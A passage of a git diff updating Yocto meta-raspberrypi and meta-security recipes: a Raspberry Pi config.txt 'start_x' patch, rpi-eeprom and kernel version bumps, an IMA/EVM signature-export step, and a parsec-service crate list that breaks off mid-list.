+Reintroduce configuration "start_x". Based on the experience with
+Yocto/OpenEmbedded layer meta-raspberrypi, it has been observed
+that Raspberry Pi 4B 4GB may fail to enable the camera if
+"start_x=1" is at the end of the file. Therefore, "start_x=1"
+is expected in config.txt template and it has been set to replace
+the original occurrence, which is at the middle of the file.
+Also update revision and date stamp.
+
+GitHub pull request: https://github.com/Evilpaul/RPi-config/pull/8
+
+Upstream-Status: Submitted
+
+Signed-off-by: Leon Anavi <leon.anavi@konsulko.com>
+---
+ config.txt | 12 +++++++++++-
+ 1 file changed, 11 insertions(+), 1 deletion(-)
+
+diff --git a/config.txt b/config.txt
+index 1cf7b29..e28ed02 100644
+--- a/config.txt
++++ b/config.txt
+@@ -1,7 +1,7 @@
+ ################################################################################
+ ## Raspberry Pi Configuration Settings
+ ##
+-## Revision 17, 2021/08/15
++## Revision 18, 2023/11/20
+ ##
+ ## Details taken from the eLinux wiki and official Raspberry Pi documentation.
+ ## For up-to-date information please refer to links below.
+@@ -760,6 +760,16 @@
+ ## Camera Settings
+ ################################################################################
+
++## start_x
++## Set to "1" to enable the camera module.
++##
++## Enabling the camera requires gpu_mem option to be specified with a value
++## of at least 128.
++##
++## Default 0
++##
++#start_x=0
++
+ ## disable_camera_led
+ ## Turn off the red camera led when recording video or taking a still
+ ## picture.
+--
+2.39.2
+
diff --git a/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config_git.bb b/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config_git.bb
index 8b7fbb85ae..ee0f407be5 100644
--- a/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config_git.bb
+++ b/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config_git.bb
@@ -7,8 +7,9 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda
COMPATIBLE_MACHINE = "^rpi$"
-SRCREV = "648ffc470824c43eb0d16c485f4c24816b32cd6f"
+SRCREV = "6ac2d832c6c3b208e2669f50ec1abf2c20cb7ff4"
SRC_URI = "git://github.com/Evilpaul/RPi-config.git;protocol=https;branch=master \
+ file://0001-config.txt-reintroduce-start_x.patch \
"
S = "${WORKDIR}/git"
diff --git a/meta-raspberrypi/recipes-bsp/rpi-eeprom/files/0001-Fix-rpi-eeprom-update-when-using-busybox-find.patch b/meta-raspberrypi/recipes-bsp/rpi-eeprom/files/0001-Fix-rpi-eeprom-update-when-using-busybox-find.patch
deleted file mode 100644
index b85be195b6..0000000000
--- a/meta-raspberrypi/recipes-bsp/rpi-eeprom/files/0001-Fix-rpi-eeprom-update-when-using-busybox-find.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 55ca589ab9e6e719c1e1f9fc72997d1643d28fe3 Mon Sep 17 00:00:00 2001
-From: Allan Xavier <mr.a.xavier@googlemail.com>
-Date: Thu, 12 Jan 2023 12:08:55 +0000
-Subject: [PATCH] Fix rpi-eeprom-update when using busybox find
-
-The busybox implementation of find does not detect recursive nested
-symlinks, this results in it finding multiple instances of of_node
-matching -samefile, the result of which then fails the -e path test.
-
-The of_node symlink we're tyring to find should match the path
-/sys/bus/nvmem/devices/*/of_node so just limit the find depth to 3 as
-there's no point searching deeper than that.
-
-Signed-off-by: Allan Xavier <mr.a.xavier@googlemail.com>
-
-Upstream-Status: Backport [https://github.com/raspberrypi/rpi-eeprom/commit/55ca589ab9e6e719c1e1f9fc72997d1643d28fe3]
----
- rpi-eeprom-update | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rpi-eeprom-update b/rpi-eeprom-update
-index 79eb3bf..cb25316 100755
---- a/rpi-eeprom-update
-+++ b/rpi-eeprom-update
-@@ -126,7 +126,7 @@ getBootloaderConfig() {
-
- if [ -f "${blconfig_alias}" ]; then
- local blconfig_ofnode_path="/sys/firmware/devicetree/base"$(strings "${blconfig_alias}")""
-- local blconfig_ofnode_link=$(find -L /sys/bus/nvmem -samefile "${blconfig_ofnode_path}" 2>/dev/null)
-+ local blconfig_ofnode_link=$(find -L /sys/bus/nvmem -maxdepth 3 -samefile "${blconfig_ofnode_path}" 2>/dev/null)
-
- if [ -e "${blconfig_ofnode_link}" ]; then
- blconfig_nvmem_path=$(dirname "${blconfig_ofnode_link}")
---
-2.34.1
-
diff --git a/meta-raspberrypi/recipes-bsp/rpi-eeprom/rpi-eeprom_git.bb b/meta-raspberrypi/recipes-bsp/rpi-eeprom/rpi-eeprom_git.bb
index bf0d430ff9..1f98f303ef 100644
--- a/meta-raspberrypi/recipes-bsp/rpi-eeprom/rpi-eeprom_git.bb
+++ b/meta-raspberrypi/recipes-bsp/rpi-eeprom/rpi-eeprom_git.bb
@@ -6,11 +6,10 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=f546ed4f47e9d4c1fe954ecc9d3ef4f3"
SRC_URI = " \
git://github.com/raspberrypi/rpi-eeprom.git;protocol=https;branch=master \
- file://0001-Fix-rpi-eeprom-update-when-using-busybox-find.patch \
"
-SRCREV = "6e79e995bbc75c5fdd5305bd7fe029758cfade2f"
-PV = "v2022.12.07-138a1"
+SRCREV = "f13b5789f56f65112e2b8aa58be43ebfcbedfe1d"
+PV = "v2023.10.18-2712"
S = "${WORKDIR}/git"
@@ -35,16 +34,15 @@ do_install() {
install -m 0755 ${S}/rpi-eeprom-digest ${D}${bindir}
# copy firmware files
- install -d ${D}${base_libdir}/firmware/raspberrypi/bootloader/critical
- install -d ${D}${base_libdir}/firmware/raspberrypi/bootloader/stable
- install -d ${D}${base_libdir}/firmware/raspberrypi/bootloader/beta
+ install -d ${D}${base_libdir}/firmware/raspberrypi/bootloader/default
+ install -d ${D}${base_libdir}/firmware/raspberrypi/bootloader/latest
- install -m 644 ${S}/firmware/critical/* ${D}${base_libdir}/firmware/raspberrypi/bootloader/critical
- install -m 644 ${S}/firmware/stable/* ${D}${base_libdir}/firmware/raspberrypi/bootloader/stable
- install -m 644 ${S}/firmware/beta/* ${D}${base_libdir}/firmware/raspberrypi/bootloader/beta
+ install -m 644 ${S}/firmware-2711/default/* ${D}${base_libdir}/firmware/raspberrypi/bootloader/default
+ install -m 644 ${S}/firmware-2711/latest/* ${D}${base_libdir}/firmware/raspberrypi/bootloader/latest
- ln -s critical ${D}${base_libdir}/firmware/raspberrypi/bootloader/default
- ln -s stable ${D}${base_libdir}/firmware/raspberrypi/bootloader/latest
+ ln -s default ${D}${base_libdir}/firmware/raspberrypi/bootloader/critical
+ ln -s latest ${D}${base_libdir}/firmware/raspberrypi/bootloader/stable
+ ln -s latest ${D}${base_libdir}/firmware/raspberrypi/bootloader/beta
# copy default config
install -d ${D}${sysconfdir}/default
diff --git a/meta-raspberrypi/recipes-kernel/linux/files/default-cpu-governor.cfg b/meta-raspberrypi/recipes-kernel/linux/files/default-cpu-governor.cfg
new file mode 100644
index 0000000000..e2e201d71d
--- /dev/null
+++ b/meta-raspberrypi/recipes-kernel/linux/files/default-cpu-governor.cfg
@@ -0,0 +1,9 @@
+# The defconfigs from the RPi Kernel set "powersave" as the default CPU governor.
+# That is a bad idea as it reduces performance, so we unset that default option here.
+# The option to build the powersave governor (but not as the default) is also enabled.
+# A fix for this was sent to upstream: https://github.com/raspberrypi/linux/pull/5666
+# However, we need to carry this option override until those defconfigs are fixed on
+# *all* the kernel branches that we support. So that can be a long time depending
+# on wheter the above PR gets accepted and/or backported to the stable branches.
+CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE=n
+CONFIG_CPU_FREQ_GOV_POWERSAVE=y
diff --git a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi-v7_5.10.bb b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi-v7_5.10.bb
deleted file mode 100644
index d594b61c76..0000000000
--- a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi-v7_5.10.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-# SPDX-FileCopyrightText: Andrei Gherzan <andrei.gherzan@huawei.com>
-#
-# SPDX-License-Identifier: MIT
-
-require linux-raspberrypi-v7.inc
-require linux-raspberrypi_5.10.bb
diff --git a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi.inc b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi.inc
index d2f3f481d8..b77d1c4cff 100644
--- a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi.inc
+++ b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi.inc
@@ -15,6 +15,7 @@ SRC_URI += " \
${@bb.utils.contains("INITRAMFS_IMAGE_BUNDLE", "1", "file://initramfs-image-bundle.cfg", "", d)} \
${@bb.utils.contains("MACHINE_FEATURES", "vc4graphics", "file://vc4graphics.cfg", "", d)} \
${@bb.utils.contains("MACHINE_FEATURES", "wm8960", "file://wm8960.cfg", "", d)} \
+ file://default-cpu-governor.cfg \
"
SRC_URI:append:raspberrypi4 = " \
diff --git a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_5.10.bb b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_5.10.bb
deleted file mode 100644
index 3311a844de..0000000000
--- a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_5.10.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-LINUX_VERSION ?= "5.10.110"
-LINUX_RPI_BRANCH ?= "rpi-5.10.y"
-LINUX_RPI_KMETA_BRANCH ?= "yocto-5.10"
-
-SRCREV_machine = "427c6bd8835e197693e9b4aedbe45c2c3c84cdce"
-SRCREV_meta = "96ea2660bb97e15f48f4885b9e436f24c3606bd9"
-
-KMETA = "kernel-meta"
-
-SRC_URI = " \
- git://github.com/raspberrypi/linux.git;name=machine;branch=${LINUX_RPI_BRANCH};protocol=https \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=${LINUX_RPI_KMETA_BRANCH};destsuffix=${KMETA} \
- file://powersave.cfg \
- file://android-drivers.cfg \
- "
-
-require linux-raspberrypi.inc
-
-KERNEL_DTC_FLAGS += "-@ -H epapr"
diff --git a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_6.1.bb b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_6.1.bb
index b81e169b6c..0a838ae7f6 100644
--- a/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_6.1.bb
+++ b/meta-raspberrypi/recipes-kernel/linux/linux-raspberrypi_6.1.bb
@@ -1,9 +1,9 @@
-LINUX_VERSION ?= "6.1.54"
+LINUX_VERSION ?= "6.1.61"
LINUX_RPI_BRANCH ?= "rpi-6.1.y"
LINUX_RPI_KMETA_BRANCH ?= "yocto-6.1"
-SRCREV_machine = "df4d584e66a660195422ca2b7ce1d68d1181f2a2"
-SRCREV_meta = "e7488dd3776c76fb7d94cc92ae7a2216423f8ece"
+SRCREV_machine = "f364e0eb8f973e1aa24a3c451d18e84247a8efcd"
+SRCREV_meta = "29ec3dc6f4f59b731badcc864b212767023cc40c"
KMETA = "kernel-meta"
diff --git a/meta-security/meta-integrity/classes/ima-evm-rootfs.bbclass b/meta-security/meta-integrity/classes/ima-evm-rootfs.bbclass
index 98c4bc1f26..7b7337379c 100644
--- a/meta-security/meta-integrity/classes/ima-evm-rootfs.bbclass
+++ b/meta-security/meta-integrity/classes/ima-evm-rootfs.bbclass
@@ -89,6 +89,18 @@ ima_evm_sign_rootfs () {
bbnote "IMA/EVM: Signing IMA policy with key ${IMA_EVM_PRIVKEY}"
evmctl sign --imasig ${evmctl_param} --portable -a sha256 --key "${IMA_EVM_PRIVKEY}" "${IMAGE_ROOTFS}/etc/ima/ima-policy"
fi
+
+ # Optionally write the file names and ima and evm signatures into files
+ if [ "${IMA_FILE_SIGNATURES_FILE}" ]; then
+ getfattr -R -m security.ima --e hex --dump ./ 2>/dev/null | \
+ sed -n -e 's|# file: |/|p' -e 's|security.ima=|ima:|p' | \
+ sed '$!N;s/\n/ /' > ./${IMA_FILE_SIGNATURES_FILE}
+ fi
+ if [ "${EVM_FILE_SIGNATURES_FILE}" ]; then
+ getfattr -R -m security.evm --e hex --dump ./ 2>/dev/null | \
+ sed -n -e 's|# file: |/|p' -e 's|security.evm=|evm:|p' | \
+ sed '$!N;s/\n/ /' > ./${EVM_FILE_SIGNATURES_FILE}
+ fi
}
# Signing must run as late as possible in the do_rootfs task.
diff --git a/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service-crates.inc b/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service-crates.inc
index 604e1eaf72..bf2c7d43bb 100644
--- a/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service-crates.inc
+++ b/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service-crates.inc
@@ -2,459 +2,473 @@
# from Cargo.lock
SRC_URI += " \
- crate://crates.io/ahash/0.7.6;name=ahash-0.7.6 \
- crate://crates.io/aho-corasick/0.7.20;name=aho-corasick-0.7.20 \
- crate://crates.io/ansi_term/0.12.1;name=ansi_term-0.12.1 \
- crate://crates.io/anyhow/1.0.69;name=anyhow-1.0.69 \
- crate://crates.io/asn1-rs/0.3.1;name=asn1-rs-0.3.1 \
- crate://crates.io/asn1-rs-derive/0.1.0;name=asn1-rs-derive-0.1.0 \
- crate://crates.io/asn1-rs-impl/0.1.0;name=asn1-rs-impl-0.1.0 \
- crate://crates.io/atty/0.2.14;name=atty-0.2.14 \
- crate://crates.io/autocfg/1.1.0;name=autocfg-1.1.0 \
- crate://crates.io/base64/0.13.1;name=base64-0.13.1 \
- crate://crates.io/bincode/1.3.3;name=bincode-1.3.3 \
- crate://crates.io/bindgen/0.57.0;name=bindgen-0.57.0 \
- crate://crates.io/bindgen/0.63.0;name=bindgen-0.63.0 \
- crate://crates.io/bitfield/0.13.2;name=bitfield-0.13.2 \
- crate://crates.io/bitflags/1.3.2;name=bitflags-1.3.2 \
- crate://crates.io/bumpalo/3.12.0;name=bumpalo-3.12.0 \
- crate://crates.io/bytes/1.4.0;name=bytes-1.4.0 \
- crate://crates.io/cc/1.0.79;name=cc-1.0.79 \
- crate://crates.io/cexpr/0.4.0;name=cexpr-0.4.0 \
- crate://crates.io/cexpr/0.6.0;name=cexpr-0.6.0 \
- crate://crates.io/cfg-if/1.0.0;name=cfg-if-1.0.0 \
- crate://crates.io/clang-sys/1.6.0;name=clang-sys-1.6.0 \
- crate://crates.io/clap/2.34.0;name=clap-2.34.0 \
- crate://crates.io/cmake/0.1.45;name=cmake-0.1.45 \
- crate://crates.io/const-oid/0.7.1;name=const-oid-0.7.1 \
- crate://crates.io/cryptoauthlib-sys/0.2.2;name=cryptoauthlib-sys-0.2.2 \
- crate://crates.io/cryptoki/0.3.1;name=cryptoki-0.3.1 \
- crate://crates.io/cryptoki-sys/0.1.5;name=cryptoki-sys-0.1.5 \
- crate://crates.io/data-encoding/2.3.3;name=data-encoding-2.3.3 \
- crate://crates.io/der/0.5.1;name=der-0.5.1 \
- crate://crates.io/der-parser/7.0.0;name=der-parser-7.0.0 \
- crate://crates.io/derivative/2.2.0;name=derivative-2.2.0 \
- crate://crates.io/displaydoc/0.2.3;name=displaydoc-0.2.3 \
- crate://crates.io/either/1.8.1;name=either-1.8.1 \
- crate://crates.io/enumflags2/0.7.5;name=enumflags2-0.7.5 \
- crate://crates.io/enumflags2_derive/0.7.4;name=enumflags2_derive-0.7.4 \
- crate://crates.io/env_logger/0.8.4;name=env_logger-0.8.4 \
- crate://crates.io/errno/0.2.8;name=errno-0.2.8 \
- crate://crates.io/errno-dragonfly/0.1.2;name=errno-dragonfly-0.1.2 \
- crate://crates.io/fallible-iterator/0.2.0;name=fallible-iterator-0.2.0 \
- crate://crates.io/fallible-streaming-iterator/0.1.9;name=fallible-streaming-iterator-0.1.9 \
- crate://crates.io/fastrand/1.9.0;name=fastrand-1.9.0 \
- crate://crates.io/fixedbitset/0.2.0;name=fixedbitset-0.2.0 \
- crate://crates.io/form_urlencoded/1.1.0;name=form_urlencoded-1.1.0 \
- crate://crates.io/futures/0.3.27;name=futures-0.3.27 \
- crate://crates.io/futures-channel/0.3.27;name=futures-channel-0.3.27 \
- crate://crates.io/futures-core/0.3.27;name=futures-core-0.3.27 \
- crate://crates.io/futures-executor/0.3.27;name=futures-executor-0.3.27 \
- crate://crates.io/futures-io/0.3.27;name=futures-io-0.3.27 \
- crate://crates.io/futures-macro/0.3.27;name=futures-macro-0.3.27 \
- crate://crates.io/futures-sink/0.3.27;name=futures-sink-0.3.27 \
- crate://crates.io/futures-task/0.3.27;name=futures-task-0.3.27 \
- crate://crates.io/futures-util/0.3.27;name=futures-util-0.3.27 \
- crate://crates.io/generic-array/0.14.6;name=generic-array-0.14.6 \
- crate://crates.io/getrandom/0.2.8;name=getrandom-0.2.8 \
- crate://crates.io/glob/0.3.1;name=glob-0.3.1 \
- crate://crates.io/grpcio/0.9.1;name=grpcio-0.9.1 \
- crate://crates.io/grpcio-sys/0.9.1+1.38.0;name=grpcio-sys-0.9.1+1.38.0 \
- crate://crates.io/hashbrown/0.12.3;name=hashbrown-0.12.3 \
- crate://crates.io/hashlink/0.8.1;name=hashlink-0.8.1 \
- crate://crates.io/heck/0.3.3;name=heck-0.3.3 \
- crate://crates.io/hermit-abi/0.1.19;name=hermit-abi-0.1.19 \
- crate://crates.io/hermit-abi/0.2.6;name=hermit-abi-0.2.6 \
- crate://crates.io/hex/0.4.3;name=hex-0.4.3 \
- crate://crates.io/hostname-validator/1.1.1;name=hostname-validator-1.1.1 \
- crate://crates.io/humantime/2.1.0;name=humantime-2.1.0 \
- crate://crates.io/idna/0.3.0;name=idna-0.3.0 \
- crate://crates.io/indexmap/1.9.2;name=indexmap-1.9.2 \
- crate://crates.io/instant/0.1.12;name=instant-0.1.12 \
- crate://crates.io/io-lifetimes/1.0.6;name=io-lifetimes-1.0.6 \
- crate://crates.io/itertools/0.10.5;name=itertools-0.10.5 \
- crate://crates.io/itoa/1.0.6;name=itoa-1.0.6 \
- crate://crates.io/js-sys/0.3.61;name=js-sys-0.3.61 \
- crate://crates.io/jsonwebkey/0.3.5;name=jsonwebkey-0.3.5 \
- crate://crates.io/jsonwebtoken/8.2.0;name=jsonwebtoken-8.2.0 \
- crate://crates.io/lazy_static/1.4.0;name=lazy_static-1.4.0 \
- crate://crates.io/lazycell/1.3.0;name=lazycell-1.3.0 \
- crate://crates.io/libc/0.2.140;name=libc-0.2.140 \
- crate://crates.io/libloading/0.7.4;name=libloading-0.7.4 \
- crate://crates.io/libsqlite3-sys/0.25.2;name=libsqlite3-sys-0.25.2 \
- crate://crates.io/libz-sys/1.1.8;name=libz-sys-1.1.8 \
- crate://crates.io/linux-raw-sys/0.1.4;name=linux-raw-sys-0.1.4 \
- crate://crates.io/lock_api/0.4.9;name=lock_api-0.4.9 \
- crate://crates.io/log/0.4.17;name=log-0.4.17 \
- crate://crates.io/mbox/0.6.0;name=mbox-0.6.0 \
- crate://crates.io/memchr/2.5.0;name=memchr-2.5.0 \
- crate://crates.io/minimal-lexical/0.2.1;name=minimal-lexical-0.2.1 \
- crate://crates.io/multimap/0.8.3;name=multimap-0.8.3 \
- crate://crates.io/nom/5.1.2;name=nom-5.1.2 \
- crate://crates.io/nom/7.1.3;name=nom-7.1.3 \
- crate://crates.io/num/0.4.0;name=num-0.4.0 \
- crate://crates.io/num-bigint/0.4.3;name=num-bigint-0.4.3 \
- crate://crates.io/num-complex/0.4.3;name=num-complex-0.4.3 \
- crate://crates.io/num-derive/0.3.3;name=num-derive-0.3.3 \
- crate://crates.io/num-integer/0.1.45;name=num-integer-0.1.45 \
- crate://crates.io/num-iter/0.1.43;name=num-iter-0.1.43 \
- crate://crates.io/num-rational/0.4.1;name=num-rational-0.4.1 \
- crate://crates.io/num-traits/0.2.15;name=num-traits-0.2.15 \
- crate://crates.io/num_cpus/1.15.0;name=num_cpus-1.15.0 \
- crate://crates.io/num_threads/0.1.6;name=num_threads-0.1.6 \
- crate://crates.io/oid/0.2.1;name=oid-0.2.1 \
- crate://crates.io/oid-registry/0.4.0;name=oid-registry-0.4.0 \
- crate://crates.io/once_cell/1.17.1;name=once_cell-1.17.1 \
- crate://crates.io/parking_lot/0.11.2;name=parking_lot-0.11.2 \
- crate://crates.io/parking_lot_core/0.8.6;name=parking_lot_core-0.8.6 \
- crate://crates.io/parsec-interface/0.28.0;name=parsec-interface-0.28.0 \
- crate://crates.io/peeking_take_while/0.1.2;name=peeking_take_while-0.1.2 \
- crate://crates.io/pem/1.1.1;name=pem-1.1.1 \
- crate://crates.io/percent-encoding/2.2.0;name=percent-encoding-2.2.0 \
- crate://crates.io/pest/2.5.6;name=pest-2.5.6 \
- crate://crates.io/petgraph/0.5.1;name=petgraph-0.5.1 \
- crate://crates.io/picky-asn1/0.3.3;name=picky-asn1-0.3.3 \
- crate://crates.io/picky-asn1-der/0.2.5;name=picky-asn1-der-0.2.5 \
- crate://crates.io/picky-asn1-x509/0.6.1;name=picky-asn1-x509-0.6.1 \
- crate://crates.io/pin-project-lite/0.2.9;name=pin-project-lite-0.2.9 \
- crate://crates.io/pin-utils/0.1.0;name=pin-utils-0.1.0 \
- crate://crates.io/pkcs8/0.8.0;name=pkcs8-0.8.0 \
- crate://crates.io/pkg-config/0.3.26;name=pkg-config-0.3.26 \
- crate://crates.io/ppv-lite86/0.2.17;name=ppv-lite86-0.2.17 \
- crate://crates.io/proc-macro-error/1.0.4;name=proc-macro-error-1.0.4 \
- crate://crates.io/proc-macro-error-attr/1.0.4;name=proc-macro-error-attr-1.0.4 \
- crate://crates.io/proc-macro2/1.0.52;name=proc-macro2-1.0.52 \
- crate://crates.io/prost/0.8.0;name=prost-0.8.0 \
- crate://crates.io/prost-build/0.8.0;name=prost-build-0.8.0 \
- crate://crates.io/prost-derive/0.8.0;name=prost-derive-0.8.0 \
- crate://crates.io/prost-types/0.8.0;name=prost-types-0.8.0 \
- crate://crates.io/protobuf/2.28.0;name=protobuf-2.28.0 \
- crate://crates.io/psa-crypto/0.10.0;name=psa-crypto-0.10.0 \
- crate://crates.io/psa-crypto-sys/0.10.0;name=psa-crypto-sys-0.10.0 \
- crate://crates.io/quote/1.0.26;name=quote-1.0.26 \
- crate://crates.io/rand/0.8.5;name=rand-0.8.5 \
- crate://crates.io/rand_chacha/0.3.1;name=rand_chacha-0.3.1 \
- crate://crates.io/rand_core/0.6.4;name=rand_core-0.6.4 \
- crate://crates.io/redox_syscall/0.2.16;name=redox_syscall-0.2.16 \
- crate://crates.io/regex/1.7.1;name=regex-1.7.1 \
- crate://crates.io/regex-syntax/0.6.28;name=regex-syntax-0.6.28 \
- crate://crates.io/ring/0.16.20;name=ring-0.16.20 \
- crate://crates.io/rusqlite/0.28.0;name=rusqlite-0.28.0 \
- crate://crates.io/rust-cryptoauthlib/0.4.5;name=rust-cryptoauthlib-0.4.5 \
- crate://crates.io/rustc-hash/1.1.0;name=rustc-hash-1.1.0 \
- crate://crates.io/rustc_version/0.3.3;name=rustc_version-0.3.3 \
- crate://crates.io/rusticata-macros/4.1.0;name=rusticata-macros-4.1.0 \
- crate://crates.io/rustix/0.36.9;name=rustix-0.36.9 \
- crate://crates.io/ryu/1.0.13;name=ryu-1.0.13 \
- crate://crates.io/same-file/1.0.6;name=same-file-1.0.6 \
- crate://crates.io/scopeguard/1.1.0;name=scopeguard-1.1.0 \
- crate://crates.io/sd-notify/0.3.0;name=sd-notify-0.3.0 \
- crate://crates.io/secrecy/0.7.0;name=secrecy-0.7.0 \
- crate://crates.io/semver/0.11.0;name=semver-0.11.0 \
- crate://crates.io/semver-parser/0.10.2;name=semver-parser-0.10.2 \
- crate://crates.io/serde/1.0.156;name=serde-1.0.156 \
- crate://crates.io/serde_bytes/0.11.9;name=serde_bytes-0.11.9 \
- crate://crates.io/serde_derive/1.0.156;name=serde_derive-1.0.156 \
- crate://crates.io/serde_json/1.0.94;name=serde_json-1.0.94 \
- crate://crates.io/shlex/0.1.1;name=shlex-0.1.1 \
- crate://crates.io/shlex/1.1.0;name=shlex-1.1.0 \
- crate://crates.io/signal-hook/0.3.15;name=signal-hook-0.3.15 \
- crate://crates.io/signal-hook-registry/1.4.1;name=signal-hook-registry-1.4.1 \
- crate://crates.io/simple_asn1/0.6.2;name=simple_asn1-0.6.2 \
- crate://crates.io/slab/0.4.8;name=slab-0.4.8 \
- crate://crates.io/smallvec/1.10.0;name=smallvec-1.10.0 \
- crate://crates.io/spiffe/0.2.1;name=spiffe-0.2.1 \
- crate://crates.io/spin/0.5.2;name=spin-0.5.2 \
- crate://crates.io/spki/0.5.4;name=spki-0.5.4 \
- crate://crates.io/stable_deref_trait/1.2.0;name=stable_deref_trait-1.2.0 \
- crate://crates.io/strsim/0.8.0;name=strsim-0.8.0 \
- crate://crates.io/structopt/0.3.26;name=structopt-0.3.26 \
- crate://crates.io/structopt-derive/0.4.18;name=structopt-derive-0.4.18 \
- crate://crates.io/strum_macros/0.21.1;name=strum_macros-0.21.1 \
- crate://crates.io/syn/1.0.109;name=syn-1.0.109 \
- crate://crates.io/synstructure/0.12.6;name=synstructure-0.12.6 \
- crate://crates.io/target-lexicon/0.12.6;name=target-lexicon-0.12.6 \
- crate://crates.io/tempfile/3.4.0;name=tempfile-3.4.0 \
- crate://crates.io/termcolor/1.2.0;name=termcolor-1.2.0 \
- crate://crates.io/textwrap/0.11.0;name=textwrap-0.11.0 \
- crate://crates.io/thiserror/1.0.39;name=thiserror-1.0.39 \
- crate://crates.io/thiserror-impl/1.0.39;name=thiserror-impl-1.0.39 \
- crate://crates.io/threadpool/1.8.1;name=threadpool-1.8.1 \
- crate://crates.io/time/0.3.15;name=time-0.3.15 \
- crate://crates.io/time-macros/0.2.4;name=time-macros-0.2.4 \
- crate://crates.io/tinyvec/1.6.0;name=tinyvec-1.6.0 \
- crate://crates.io/tinyvec_macros/0.1.1;name=tinyvec_macros-0.1.1 \
- crate://crates.io/toml/0.5.11;name=toml-0.5.11 \
- crate://crates.io/tss-esapi/7.2.0;name=tss-esapi-7.2.0 \
- crate://crates.io/tss-esapi-sys/0.4.0;name=tss-esapi-sys-0.4.0 \
- crate://crates.io/typenum/1.16.0;name=typenum-1.16.0 \
- crate://crates.io/ucd-trie/0.1.5;name=ucd-trie-0.1.5 \
- crate://crates.io/unicode-bidi/0.3.11;name=unicode-bidi-0.3.11 \
- crate://crates.io/unicode-ident/1.0.8;name=unicode-ident-1.0.8 \
- crate://crates.io/unicode-normalization/0.1.22;name=unicode-normalization-0.1.22 \
- crate://crates.io/unicode-segmentation/1.10.1;name=unicode-segmentation-1.10.1 \
- crate://crates.io/unicode-width/0.1.10;name=unicode-width-0.1.10 \
- crate://crates.io/unicode-xid/0.2.4;name=unicode-xid-0.2.4 \
- crate://crates.io/untrusted/0.7.1;name=untrusted-0.7.1 \
- crate://crates.io/url/2.3.1;name=url-2.3.1 \
- crate://crates.io/users/0.11.0;name=users-0.11.0 \
- crate://crates.io/uuid/0.8.2;name=uuid-0.8.2 \
- crate://crates.io/vcpkg/0.2.15;name=vcpkg-0.2.15 \
- crate://crates.io/vec_map/0.8.2;name=vec_map-0.8.2 \
- crate://crates.io/version_check/0.9.4;name=version_check-0.9.4 \
- crate://crates.io/walkdir/2.3.2;name=walkdir-2.3.2 \
- crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1;name=wasi-0.11.0+wasi-snapshot-preview1 \
- crate://crates.io/wasm-bindgen/0.2.84;name=wasm-bindgen-0.2.84 \
- crate://crates.io/wasm-bindgen-backend/0.2.84;name=wasm-bindgen-backend-0.2.84 \
- crate://crates.io/wasm-bindgen-macro/0.2.84;name=wasm-bindgen-macro-0.2.84 \
- crate://crates.io/wasm-bindgen-macro-support/0.2.84;name=wasm-bindgen-macro-support-0.2.84 \
- crate://crates.io/wasm-bindgen-shared/0.2.84;name=wasm-bindgen-shared-0.2.84 \
- crate://crates.io/web-sys/0.3.61;name=web-sys-0.3.61 \
- crate://crates.io/which/4.4.0;name=which-4.4.0 \
- crate://crates.io/winapi/0.3.9;name=winapi-0.3.9 \
- crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0;name=winapi-i686-pc-windows-gnu-0.4.0 \
- crate://crates.io/winapi-util/0.1.5;name=winapi-util-0.1.5 \
- crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0;name=winapi-x86_64-pc-windows-gnu-0.4.0 \
- crate://crates.io/windows-sys/0.42.0;name=windows-sys-0.42.0 \
- crate://crates.io/windows-sys/0.45.0;name=windows-sys-0.45.0 \
- crate://crates.io/windows-targets/0.42.2;name=windows-targets-0.42.2 \
- crate://crates.io/windows_aarch64_gnullvm/0.42.2;name=windows_aarch64_gnullvm-0.42.2 \
- crate://crates.io/windows_aarch64_msvc/0.42.2;name=windows_aarch64_msvc-0.42.2 \
- crate://crates.io/windows_i686_gnu/0.42.2;name=windows_i686_gnu-0.42.2 \
- crate://crates.io/windows_i686_msvc/0.42.2;name=windows_i686_msvc-0.42.2 \
- crate://crates.io/windows_x86_64_gnu/0.42.2;name=windows_x86_64_gnu-0.42.2 \
- crate://crates.io/windows_x86_64_gnullvm/0.42.2;name=windows_x86_64_gnullvm-0.42.2 \
- crate://crates.io/windows_x86_64_msvc/0.42.2;name=windows_x86_64_msvc-0.42.2 \
- crate://crates.io/x509-parser/0.13.2;name=x509-parser-0.13.2 \
- crate://crates.io/yasna/0.4.0;name=yasna-0.4.0 \
- crate://crates.io/zeroize/1.5.7;name=zeroize-1.5.7 \
- crate://crates.io/zeroize_derive/1.3.3;name=zeroize_derive-1.3.3 \
+ crate://crates.io/ahash/0.8.3 \
+ crate://crates.io/aho-corasick/1.1.2 \
+ crate://crates.io/allocator-api2/0.2.16 \
+ crate://crates.io/anyhow/1.0.75 \
